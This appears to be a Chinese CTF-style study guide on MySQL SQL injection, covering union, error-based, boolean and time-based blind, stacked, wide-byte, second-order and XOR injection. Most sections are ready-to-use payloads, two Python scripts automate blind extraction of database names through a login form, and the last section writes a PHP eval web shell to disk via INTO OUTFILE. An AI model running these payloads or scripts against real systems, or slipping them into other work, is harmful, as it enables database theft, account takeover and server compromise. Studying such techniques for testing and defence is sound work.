SQL注入

sql

其实sql注入从来不只是具有单一性的,从操作来看,很多时候都是结合起来使用。所以上面这张图只是对sql注入进行一个总结,我选择把联合注入放在前面,间接性的结合其它比如说数据类型注入等来作为开头

一.联合注入(有回显)

在进行注入之前,判断注入数据类型

数字型:

1
2
id=1 and 1=1
id=1 and 1=2

在sql内部语句就会转换成:

1
2
select * from table_name where id=1 and 1=1
select * from table_name where id=1 and 1=2

可见,第一个永远为真,回显肯定正常;第二个肯定不对,回显就会错误,根据这个来判断是否存在数字型注入

字符型:

通常的使用单引号去检测

1
id=1'

sql语句会是这样的:

1
select * from users where username='1''

这个时候最后的单引号会落单,多半会有回显提示你的语句存在语法错误,我们只需要

1
id=1'#

加一个注释符号,把后面的单引号注释掉,这个时候如果页面有正常回显,那么说明存在字符型注入;这也就是万能密码的原理‘ or 1=1#;也就是说为了留一个心眼,在写sql查询时,还是要将密码和用户名分开查询,构成两个语句。

搜索型:

一般而言搜索型注入对应的语句是like语句,会像这样:

1
select * from table where username like '%$content%'

一般而言我们在搜索框会这样输入:

1
quar%' and 1=1 and '%'='

我们现在来看一下sql语句变成了什么:

1
select * from table where username like '%quar%' and 1=1 and '%'='%'

可以看到每一个都是以’% %’的闭合方式,所以这条sql语句就会通过

不难看出,不管注入的数据类型是啥,我们都是要去想办法通过注入点闭合这条sql语句

判断好注入类型以后我们就可以进行联合注入了,接下来就是一些常规步骤(以字符型注入为例)

1.判断字段数(列数)

union有一个十分严格的约束条件,必选保证字段数一致,即两个查询结果有相同的列数,因此我们要对字段数进行判断

1
1' order by 2#

123….依次去试,错误的列数不会有正常回显,当有错误回显后-1既是列数

2.判断回显点

1
1' union select 1,2#

根据回显,判断哪几列字段会输出有效信息,同时验证我们order by语句是否正确

3.数据库名

以下都会用到group_concat()进行字符拼接

现在只需要将有回显的数字替换成这个函数即可

1
2
3
4
1' union select 1,group_concat(schema_name) from information_schema.schemata#

1' union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database()#

如果你打开过MySQL数据库,你会发现自带几个数据库,而information_schema就是一个包含了关于 MySQL 服务器上所有其他数据库的元数据的一个库,schemata是里面的表,储存着各个数据库名信息

4.表名

1
2
1' union select 1,group_concat(table_name) from information_schema.tables where 
table_schema='数据库名'#

5.字段名

1
2
1' union select 1,group_concat(column_name) from information_schema.columns where 
table_schema='数据库名' and table_name='表名'#

6.字段信息

1
1' union select 1,group_concat(字段1,字段2) from 表名#

二.报错注入(有回显)

其机制是人为的制造错误条件,使得查询结果出现在错误信息中(页面上没有显示位但是有sql语句执行错误信息输出位);一般在联合查询(有回显)受限且能返回错误信息的情况下使用;在mysql5.5之后,整形溢出才会报错

报错注入原理:

image-20240305193921603

在MySQL的官方文档中我们可以看到,无标志位的最大整形数据是2^64-1也就是18446744073709551615,当超过这个数值时就会发生整型溢出导致报错

image-20240305194448175

在真实的注入环境中,我们可以用按位取反运算符号~

image-20240305194628430

1.主键重复

这里会有三个函数count(*),group by,rand()造成重复

1
select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

count(*):计算结果有多少行

floor(rand(0)*2)):首先rand(0)产生0~1随机浮点数,*2则是0~2随机浮点数,floor()函数向下取整,所以整体随机生成0或1

group by:读取每一行数据,产生一个临时的表x

1
select count(*) from 表名 group by NAME;

这个sql语句翻译过来就是

原本的表:

ID NAME
0 aaa
1 bbb
2 aaa

临时产生的表:

KEY count(*)
aaa 1+1
bbb 1

然而,我们都知道,rand函数其实是一个伪随机,每次随机出来的数字都是一样的,所以floor(rand(0)2)就会得到011011…的*固定序列

1
select count(*) from test group by floor(rand(0)*2)

所以第一次结果为0(第一次计算),查询虚表,发现没有该键值,则尝试插入该键值,再二次运算,将结果1(第二次计算)插入虚表;结果1(第三次计算),查询有该键值,则插入;结果0(第四次计算)查询没有该键值,则尝试插入该键值,进行二次运算结果为1(第五次计算),此时键值重复,则报错

image-20240305205607603

数据库:

1
'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2)) as x from information_schema.tables group by x) as a

表:

1
'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2)) as x from information_schema.tables group by x) as a

字段:

1
'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2)) as x from information_schema.tables group by x) as a

字段数据:

1
'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2)) as x from information_schema.tables group by x) as a

这里的x,a是临时的表名

2.xpath语法错误

XML查询和修改的函数,extractvalue和updatexml;extractvalue负责在XML文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容

extractvalue

1
2
3
EXTRACTVALUE(xml_document, xpath_string)
xml_document:XML 文档的标识符(xml文档对象的名称)
xpath_string:XPath 表达式(字符串)

如果 XPath 表达式格式错误,MySQL 会抛出一个错误,数据库会记录错误信息,并返回错误信息,而我们就可以把payload构造在XPath表达式中

数据库:

1
'and(select extractvalue(1,concat(0x7e,(select database()),0x7e)))#

1:作为文档标识符,这里应该是占位的作用,理论上这里可以写入任何数据

0x7e:16进制的表示方法,这里是’~’,而这个符号在XPath 表达式中是一个非法字符,所以就会报错

表:

1
'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),0x7e)))#

字段:

1
'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e)))#

字段数据:

1
'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME),0x7e)))#

updatexml

1
2
3
4
UPDATEXML(xml_document, xpath_string, new_value)
xml_document: XML 文档的标识符
xpath_string :用于指定要更新的节点
new_value:新值

数据库:

1
'and(select updatexml(1,concat(0x7e,(select database())),0x7e))#

表:

1
'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='数据库名'),0x7e))#

字段:

1
'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='表名')),0x7e))#

字段数据:

1
'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))#

注意两个函数0x7e的位置,前者只是为了方便显示select的信息;后者中,两个都是非法字符,起占位的作用

三.布尔盲注

通过改变输入并观察应用程序的输出(通常是页面显示的内容或错误消息)来确定数据库中的信息,用and和or来构造sql语句

这里有三个函数length(),substr(),ascii()

length():返回字符串的长度

substr():有三个参数,第一个是要截取的字符串,第二个是从第几个字符开始截取,第三个是一次性截取多少个;例如,substr(hello,2,2)输出el

ascii():返回字符的ASCII码(用于后续二分法进行猜测比较,确定字符)

每一个阶段可分为,判断表,字段数量(count函数);确定字符个数(length函数);⼆分法逐字猜解(substr和ascii函数)

判断数据库字符个数

1
1' and length(database())=1 #

改变值,直至页面回显正常(这也就是为什么,在写脚本时,我们要进行抓包来判断注入成功时能返回什么信息)

判断数据库字符串每个字符

1
2
3
1' and ascii(substr(database(),n,1))>97 # a
1' and ascii(substr(database(),n,1))<122 # z
n从1依次增加,因为前面的字符已经通过二分法确定

通过观察页面来进行判断

判断表有几个

1
1' and (select count(table_name) from information_schema.tables where table_schema='数据库名'=1 #

1,2…..直至页面正常即可

判断表字符个数

1
2
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 #
limit 0,1:限制第一个表,如果有第二个表limit 1,1

后续的字段同理

四.时间盲注

1.sleep延时

if():IF(条件, 值1, 值2),如果条件为真,则返回值1,否则返回值2

sleep(n):延迟n秒后回显

大体和布尔盲注一样:

判断数据库字符个数

1
1' and if(length(database())>8,sleep(2),0) #

判断数据库字符串每个字符

1
1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) #

后面同理了,只需用if与sleep函数组合起来

这里的重点是,当sleep函数被过滤时,我们应该怎么办?事实上,我们的目的是达到延时的效果,以下几种方法均可

2.benchmark延时

1
2
3
benchmark(t,exp)
重复执行t次exp表达式
benchmark( 5000000, md5( 'test' ))以此达到延时效果

3.笛卡尔积(叠加全排列)

对多个表做笛卡尔积连接,使之查询时间呈指数增长,增加系统执行sql语句的负荷,直到产生想要的时间延迟

笛卡尔积连接:数据库中的一种连接类型,它发生在两个表(或查询结果集)之间,不基于任何特定的条件。在这种连接中,第一个表的每一行与第二个表的每一行组合,形成一个新的结果集,其中包含了所有可能的行对组合

image-20240307194908845

1
(select count(*) from information_schema.columns A, information_schema.columns B, information_schema.tables C)可以是同一张表

4.GET_LOCK() 加锁

1
2
get_lock(str,n)给str上锁,若成功返回1,失败返回0,并延时n秒
release_lock(str)没有该str的锁返回NULL;释放成功返回 1,失败返回0

这个锁是应用程序级别的,在不同的mysql会话之间使用,不是锁具体某个表名或字段,它是一种独占锁,意味着哪个会话持有这个锁,其他会话尝试拿这个锁的时候都会失败

当会话1 get_lock 后,未释放。会话2 不get_lock 同一个key,或者就不get_lock,依然可以对数据进行任何操作

1
2
3
1' and if(ascii(substr(database(),1,1))=115,get_lock(1,2),1)#

1' and get_lock(substr(database(),1,1),2);

使用条件:数据库必须是持久连接;所利用的是前一个连接对后一个连接的阻碍作用从而导致延时产生;php中使用mysql_pconnect()方法链接数据库的网站

5.RLIKE REGEXP正则匹配

1
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

rpad(1,999999,’a’):在字符1右边补a,直到长度为999999

(a.*):点号 . 在正则表达式中表示任意字符;星号 * 表示前面的元素可以出现零次或多次;.* 匹配任意长度的任意字符序列

然后通过rlike判断字符串是不是形如aaaaaab,事实上肯定不是,将返回0

如果 RLIKE 匹配成功,查询可能会因为字符串的匹配而快速返回结果,而不成功则可能会因为数据库需要更多时间来处理这个复杂的匹配而产生延时

时间盲注的优缺点

优点:对日志没有任何影响,日志没有记录,就加大了管理员发现的难度

缺点:执行大量查询时,管理员也会意识到发生的事情;测试Web应用程序时,服务器负载和网络速度可能对响应时间产生巨大的影响,你需要增长时间来保证结果的准确性,但同时在合理的时间内测试应用程序又会需要减少时间,因此把握好度很重要

##关于SQL盲注的效率分析

1.遍历法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get_database_name(url,dictionary,zhurudian):
database_name = ""

for num in range(1,100):
print(num)
for i in dictionary:
data = {'username':"admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #".format(num,i),
'password':'123456'}
response = requests.post(url = url, data = data)

if zhurudian in response.text:
database_name += i
print(database_name)
break

return database_name

2.二分法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def get_database_name(url,dictionary,zhurudian):
database_name = ""

for num in range(1,100):
print(num)
min = 32
max = 126
mid = (min+max) // 2 #取整

while min <= max:
data = {'username':"admin' and ascii(substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1))>'{1}' #".format(num,mid),
'password':'123456'}
response = requests.post(url = url, data = data)

if zhurudian in response.text: #ascii码值比mid大
min = mid + 1
else:
max = mid
mid = (min+max) // 2
if min == max:
database_name += chr(mid)
print(database_name)
break

return database_name

3.与运算

1

五.堆叠注入

即同时执行多条sql语句(增,删,改),用进行连接,我们发现联合查询可以结合两条语句,但是union只能进行查询操作

但堆叠注入本身局限性比较大,只有遇到支持同时执行多条sql语句的数据库才可以使用;在MySQL中,只有当使用mysql_multi_query()函数才能使用,像mysqli_ query()是只支持执行一条的

1
1';select if(ascii(substr(user(),1,1))=114,sleep(3),1);#

可以看到这条语句是在堆叠注入的基础上结合了时间盲注,我在猜想当攻击对象过滤了and或者or此时应该就是堆叠注入的优势吧

六.宽字节注入

敏感函数 & 选项

  • addslashes()函数:返回在预定义字符之前添加反斜杠的字符串
  • magic_quotes_gpc选项:对 POST、GET、Cookie 传入的数据进行转义处理,在输入数据的特殊字符如 单引号、双引号、反斜线、NULL等字符前加入转义字符\,在高版本 PHP 中(>=5.4.0)已经弃用
  • mysql_real_escape_string()函数:函数转义 SQL 语句中使用的字符串中的特殊字符
  • mysql_escape_string()函数:和mysql_real_escape_string()函数基本一致,差别在于不接受连接参数,也不管当前字符集设定

宽字节注入的本质是开发者设置数据库编码与 PHP 编码为不同的编码格式从而导致产生宽字节注入,例如当 Mysql 数据库使用 GBK 编码时,它会把两个字节的字符解析为一个汉字,而不是两个英文字符,这样,如果我们输入一些特殊的字符,就会形成 SQL 注入

但是,如果我们输入%df’,它会变成%df%5c%27,这里,%df%5c是一个宽字节的GBK编码,它表示一个繁体字“運”

因为 GBK 编码的第一个字节的范围是 129-254,而%df的十进制是 223,所以它属于 GBK 编码的第一个字节,而%5c的十进制是 92,它属于 GBK 编码的第二个字节的范围 64-254,所以,%df%5c被数据库解析为一个汉字,而不是两个英文字符

(可以抓包来看是否设置gbk编码)

image-20240309205103412

使用其他宽字节
不仅仅只是使用%df’ 进行宽字节绕过也可以使用其他的宽字节,只有满足字符串编码的要求
常见使用的宽字节就是%df,其实当我们输入第一个ascill大于128就可以,转换是将其转换成16进制,eg:129转换0x81,然后在前面加上%就是%81
GBK首字节对应0x81-0xfe(129-239),尾字节对应0x40-0xfe(64-126)(除了0x7f【128】)
比如一些 %df’ %81’ %82’ %de’ 等等(只有满足上面的要求就可以)

数据库:

1
1%df%27%20union%20select%201,database()%23

七.二次注入

一般对于已知晓账户的可修改密码的SQL注入

注册一个账号 :admin’#
密码:123456

1
$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'";

我们来看现在sql语句变成什么样子了

1
where username='admin'#' and password='$curr_pass'";

我们可以在不知道admin的密码的情况下修改密码,实现登录管理员账户

八.异或注入

例如单引号被过滤时

1
2^(if(ascii(mid(user(),1,1))>0,0,1))

判断存在注入,2的二进制(10)xor 0的二进制(00)结果是10,所以还是2

九.sql写入木马

对于一些知道目录路径的题目

SUCTF2018 MultiSQL

1
payload:1,id=3 union select 1,"<?php @eval($_REQUEST[a])?>" into outfile "绝对路径+任意写入php"#